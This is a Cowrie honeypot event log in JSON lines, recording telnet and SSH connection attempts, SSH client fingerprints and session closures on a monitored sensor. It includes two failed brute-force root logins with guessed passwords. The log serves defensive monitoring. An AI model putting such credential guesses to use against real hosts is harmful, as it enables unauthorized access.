{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36136,"dst_ip":"10.17.0.5","dst_port":23,"session":"193ec2bbb141","protocol":"telnet","message":"New connection: 193.22.147.168:36136 (10.17.0.5:23) [session: 193ec2bbb141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:33.690880Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52380,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d07b2c5ff1b","protocol":"telnet","message":"New connection: 174.142.104.49:52380 (159.203.135.109:23) [session: 1d07b2c5ff1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:33.737149Z"}
{"eventid":"cowrie.session.closed","duration":32.011927127838135,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:33.773028Z","src_ip":"161.132.53.68","session":"ebcebf52ec6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52524,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3ffcc28a90","protocol":"telnet","message":"New connection: 174.142.104.49:52524 (159.203.135.109:23) [session: 3c3ffcc28a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:33.831711Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36160,"dst_ip":"10.17.0.5","dst_port":23,"session":"c89938517a69","protocol":"telnet","message":"New connection: 193.22.147.168:36160 (10.17.0.5:23) [session: c89938517a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:34.018327Z"}
{"eventid":"cowrie.session.closed","duration":30.313973903656006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:34.380690Z","src_ip":"174.142.104.49","session":"ffce7a5405de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36162,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ee72b82763d","protocol":"telnet","message":"New connection: 193.22.147.168:36162 (10.17.0.5:23) [session: 9ee72b82763d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:34.441469Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56450,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea017f868d7","protocol":"telnet","message":"New connection: 174.142.104.49:56450 (159.203.135.109:23) [session: 5ea017f868d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:34.506104Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":41782,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b5e20368928","protocol":"ssh","message":"New connection: 200.105.172.184:41782 (159.203.135.109:22) [session: 5b5e20368928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:34.794139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:34.799243Z","src_ip":"200.105.172.184","session":"5b5e20368928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:34.914581Z","src_ip":"200.105.172.184","session":"5b5e20368928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@666","message":"login attempt [root/root@666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:35.405725Z","src_ip":"200.105.172.184","session":"5b5e20368928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.61568808555603,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:35.429473Z","src_ip":"174.142.104.49","session":"92b0ad26d8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36168,"dst_ip":"10.17.0.5","dst_port":23,"session":"659f5f2735b9","protocol":"telnet","message":"New connection: 193.22.147.168:36168 (10.17.0.5:23) [session: 659f5f2735b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:35.433332Z"}
{"eventid":"cowrie.session.closed","duration":44.02417063713074,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.279162Z","src_ip":"193.22.147.168","session":"6e95009f1294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58086,"dst_ip":"159.203.135.109","dst_port":23,"session":"e068eae9a123","protocol":"telnet","message":"New connection: 174.142.104.49:58086 (159.203.135.109:23) [session: e068eae9a123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.305792Z"}
{"eventid":"cowrie.session.closed","duration":30.24948263168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.402931Z","src_ip":"174.142.104.49","session":"f7ebc128d472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42736,"dst_ip":"159.203.135.109","dst_port":23,"session":"697ca900ba85","protocol":"telnet","message":"New connection: 161.132.53.68:42736 (159.203.135.109:23) [session: 697ca900ba85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.451810Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.522226Z","src_ip":"200.105.172.184","session":"5b5e20368928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34340,"dst_ip":"159.203.135.109","dst_port":23,"session":"18664e7ad411","protocol":"telnet","message":"New connection: 174.142.104.49:34340 (159.203.135.109:23) [session: 18664e7ad411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.553547Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"81eb9712e881","protocol":"telnet","message":"New connection: 174.142.104.49:58724 (159.203.135.109:23) [session: 81eb9712e881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.784593Z"}
{"eventid":"cowrie.session.closed","duration":74.19040083885193,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.792102Z","src_ip":"174.142.104.49","session":"40383130550a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36146,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcba117923dc","protocol":"telnet","message":"New connection: 193.22.147.168:36146 (10.17.0.5:23) [session: bcba117923dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.816239Z"}
{"eventid":"cowrie.session.closed","duration":31.60768222808838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:36.846495Z","src_ip":"174.142.104.49","session":"7fab528b893e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.955142736434937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:37.283192Z","src_ip":"193.22.147.168","session":"dd5c15525600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.083267211914062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:37.402345Z","src_ip":"174.142.104.49","session":"a34aea13472b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.069636821746826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:37.536695Z","src_ip":"161.132.53.68","session":"d0e4d429321b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55928,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b1a12a61c42","protocol":"telnet","message":"New connection: 174.142.104.49:55928 (159.203.135.109:23) [session: 8b1a12a61c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:37.940241Z"}
{"eventid":"cowrie.session.closed","duration":31.702985286712646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:38.109921Z","src_ip":"174.142.104.49","session":"265b15482da6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32882,"dst_ip":"159.203.135.109","dst_port":23,"session":"df5ec16c8ce1","protocol":"telnet","message":"New connection: 174.142.104.49:32882 (159.203.135.109:23) [session: df5ec16c8ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:38.348831Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59636,"dst_ip":"159.203.135.109","dst_port":23,"session":"a41b307d98c4","protocol":"telnet","message":"New connection: 174.142.104.49:59636 (159.203.135.109:23) [session: a41b307d98c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:38.391324Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36180,"dst_ip":"10.17.0.5","dst_port":23,"session":"b88801d87253","protocol":"telnet","message":"New connection: 193.22.147.168:36180 (10.17.0.5:23) [session: b88801d87253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:38.484561Z"}
{"eventid":"cowrie.session.closed","duration":32.72000193595886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:38.721403Z","src_ip":"193.22.147.168","session":"b50e05abbcc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014564514160156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:38.790961Z","src_ip":"174.142.104.49","session":"750fe756f6a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28678297996521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.422916Z","src_ip":"174.142.104.49","session":"55e36157e8fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546626806259155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.520754Z","src_ip":"174.142.104.49","session":"e80a475593a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.826470613479614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.564286Z","src_ip":"193.22.147.168","session":"e80c261bad34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41822,"dst_ip":"159.203.135.109","dst_port":23,"session":"7355d88da5a1","protocol":"telnet","message":"New connection: 174.142.104.49:41822 (159.203.135.109:23) [session: 7355d88da5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.625734Z"}
{"eventid":"cowrie.session.closed","duration":0.014577388763427734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.640212Z","src_ip":"174.142.104.49","session":"7355d88da5a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":52486,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f31b358c9a","protocol":"telnet","message":"New connection: 193.22.147.168:52486 (10.17.0.5:23) [session: 68f31b358c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.690413Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36184,"dst_ip":"10.17.0.5","dst_port":23,"session":"d40b20d34f37","protocol":"telnet","message":"New connection: 193.22.147.168:36184 (10.17.0.5:23) [session: d40b20d34f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.756402Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35270,"dst_ip":"159.203.135.109","dst_port":23,"session":"c33819c7893b","protocol":"telnet","message":"New connection: 174.142.104.49:35270 (159.203.135.109:23) [session: c33819c7893b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.954497Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33674,"dst_ip":"159.203.135.109","dst_port":23,"session":"099c59cb00f7","protocol":"telnet","message":"New connection: 174.142.104.49:33674 (159.203.135.109:23) [session: 099c59cb00f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:39.977114Z"}
{"eventid":"cowrie.session.closed","duration":32.64615488052368,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:40.003051Z","src_ip":"193.22.147.168","session":"533ff49b02de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57242465019226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:40.020705Z","src_ip":"174.142.104.49","session":"6bdbbfbddb45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.472891330719,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:40.402369Z","src_ip":"174.142.104.49","session":"6bc5cacd13cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":52498,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b7cd2228048","protocol":"telnet","message":"New connection: 193.22.147.168:52498 (10.17.0.5:23) [session: 3b7cd2228048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:40.718998Z"}
{"eventid":"cowrie.session.closed","duration":31.784830570220947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.003983Z","src_ip":"161.132.53.68","session":"3edfa671365b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45104,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bedd967d8eb","protocol":"telnet","message":"New connection: 174.142.104.49:45104 (159.203.135.109:23) [session: 7bedd967d8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.074124Z"}
{"eventid":"cowrie.session.closed","duration":0.005362510681152344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.079339Z","src_ip":"174.142.104.49","session":"7bedd967d8eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53626,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2b486feccc","protocol":"telnet","message":"New connection: 161.132.53.68:53626 (159.203.135.109:23) [session: 0e2b486feccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.083412Z"}
{"eventid":"cowrie.session.closed","duration":32.137802600860596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.438115Z","src_ip":"193.22.147.168","session":"a2436916ba46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.470667362213135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.659123Z","src_ip":"161.132.53.68","session":"ccc639096fb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38206,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b4ed7f8a5a","protocol":"telnet","message":"New connection: 174.142.104.49:38206 (159.203.135.109:23) [session: d8b4ed7f8a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.848984Z"}
{"eventid":"cowrie.session.closed","duration":33.51310110092163,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:41.977803Z","src_ip":"193.22.147.168","session":"e1a4861adfb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772868633270264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:42.091238Z","src_ip":"193.22.147.168","session":"55f1eb729f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34346,"dst_ip":"159.203.135.109","dst_port":23,"session":"9577cdb6f857","protocol":"telnet","message":"New connection: 174.142.104.49:34346 (159.203.135.109:23) [session: 9577cdb6f857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:42.370953Z"}
{"eventid":"cowrie.session.closed","duration":31.05499291419983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:42.649307Z","src_ip":"174.142.104.49","session":"d7638d94f16b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":34946,"dst_ip":"159.203.135.109","dst_port":22,"session":"4883154ee36e","protocol":"ssh","message":"New connection: 165.154.6.69:34946 (159.203.135.109:22) [session: 4883154ee36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:42.672212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:42.676773Z","src_ip":"165.154.6.69","session":"4883154ee36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.378581762313843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:42.828565Z","src_ip":"174.142.104.49","session":"c3d3d88b56fe","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:42.889235Z","src_ip":"165.154.6.69","session":"4883154ee36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10985803604126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:43.037684Z","src_ip":"174.142.104.49","session":"5671de16e01d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08445119857788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:43.189641Z","src_ip":"174.142.104.49","session":"8657fc5e7bc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40436,"dst_ip":"159.203.135.109","dst_port":23,"session":"8598113ccbb4","protocol":"telnet","message":"New connection: 174.142.104.49:40436 (159.203.135.109:23) [session: 8598113ccbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:43.219738Z"}
{"eventid":"cowrie.session.closed","duration":30.97720241546631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:43.303200Z","src_ip":"174.142.104.49","session":"006ed6139438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90229368209839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:43.323519Z","src_ip":"174.142.104.49","session":"b60fe4b80ead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53636,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba1a876e57e","protocol":"telnet","message":"New connection: 161.132.53.68:53636 (159.203.135.109:23) [session: cba1a876e57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:43.484696Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123.com","message":"login attempt [root/qq123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:43.773215Z","src_ip":"165.154.6.69","session":"4883154ee36e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2d179bef4a","protocol":"telnet","message":"New connection: 174.142.104.49:41738 (159.203.135.109:23) [session: 4a2d179bef4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.028264Z"}
{"eventid":"cowrie.session.closed","duration":31.439744234085083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.085199Z","src_ip":"174.142.104.49","session":"4ba3e44a6b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19272804260254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.648643Z","src_ip":"174.142.104.49","session":"53e1cdc492a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59856,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1610bbb2078","protocol":"telnet","message":"New connection: 174.142.104.49:59856 (159.203.135.109:23) [session: e1610bbb2078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:44.745573Z"}
